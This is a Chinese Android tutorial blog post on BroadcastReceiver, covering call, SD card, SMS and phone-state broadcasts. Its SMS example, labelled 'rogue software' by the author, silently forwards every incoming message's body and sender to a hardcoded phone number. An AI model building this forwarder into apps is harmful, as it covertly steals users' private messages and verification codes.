Broadcast Receiver(一)

本文详细介绍了Android中的广播机制,包括Broadcast的基本概念、BroadcastReceiver的工作原理及其应用场景。文章通过实例展示了如何实现电话状态监听、SD卡状态变化及短信接收等功能。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、Broadcast –一种广泛运用在应用程序上信息传输的机制。
2、Broadcast Receiver–隋发升出来的广播进行过滤并相应的一类组件,就是用来接收来自系统和应用中的广播。
3、在android中广播比较常用的场景:
当你手机开机时,系统产生一条广播。app进行过滤和接收。
当网络转台发生改变时候,系统产生一条广播。
当电量改变时候,系统产生一条广播。
一、以下是系统自带常用的广播。
1、得到当前电话,有两种方式:

 //两种方式得到播出电话
        //一
        String current = getResultData();
        //二
        String phone = intent.getExtras().getString(Intent.EXTRA_PHONE_NUMBER);

这段代码必须在继承BroadcastReceiver类的onReceive()方法执行。并且在AndroidMainfest配置文件中注册

<intent-filter>
                <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
            </intent-filter>

2、sd卡
在与sd卡相关的操作
在AndroidMainfest配置文件中注册

 <intent-filter>
         //表示sd卡未挂载
                <action android:name="android.intent.action.MEDIA_UNMOUNTED" />
                //表示sd卡已经挂载
                <action android:name="android.intent.action.MEDIA_MOUNTED" />
            </intent-filter>

3、短信相关操作
这个注册权限是可以获得手机短信的相关信息。不会提示。(注册这个权限,google工程师一般认为你不想干好事,,,,)

<intent-filter>

                <!-- 不提示,但是还存在,需要特别注意一下 -->
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
public class SmsReceiver extends BroadcastReceiver {


    String Tag ="SmsReceiver";
    public SmsReceiver() {
    }

    @Override
    public void onReceive(Context context, Intent intent) {

       Object[] objects = (Object[]) intent.getExtras().get("pdus");

        for(Object pdu : objects){
            //获取smsmanager 实例
            SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
            //获取短信内容
            String body = smsMessage.getMessageBody();
            String address = smsMessage.getOriginatingAddress();
            Log.i(Tag,"body=="+body+",address ="+address);
            // 流氓软件
            // 此处发送短信
            sendMessage(address,body+address);

        }

    }

    // 模拟发送短信
    private void sendMessage(String phoneNum,String message) {

        SmsManager smsManager = SmsManager.getDefault();
        List<String> divideContents =smsManager.divideMessage(message);
        for(String text: divideContents){
            // 18137884406 目标号码  phoneNum  应该传本机号码
            // text 短信内容
            smsManager.sendTextMessage("18137884406",phoneNum,text,null,null);
        }

    }
}

4、来电相关
注册权限:

 <intent-filter>
                <action android:name="android.intent.action.PHONE_STATE" />
            </intent-filter>

例子:

public class PhoneStateReceiver extends BroadcastReceiver {

    String Tag ="PhoneStateReceiver";
    public PhoneStateReceiver() {
    }

    @Override
    public void onReceive(Context context, Intent intent) {

        // 来电号码
        Bundle bundle = intent.getExtras();
        String inPhone = bundle.getString("incoming_number");
        TelephonyManager manager = (TelephonyManager) context.getSystemService(Service.TELEPHONY_SERVICE);
        int state = manager.getCallState();
        switch (state){
            case TelephonyManager.CALL_STATE_IDLE:
                Log.i(Tag,"电话挂断了"+inPhone);
                break;

            case TelephonyManager.CALL_STATE_OFFHOOK:
                Log.i(Tag,"电话接听了"+inPhone);
                break;

            case TelephonyManager.CALL_STATE_RINGING:
                Log.i(Tag,"电话响了"+inPhone);
                break;
        }
    }
}
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值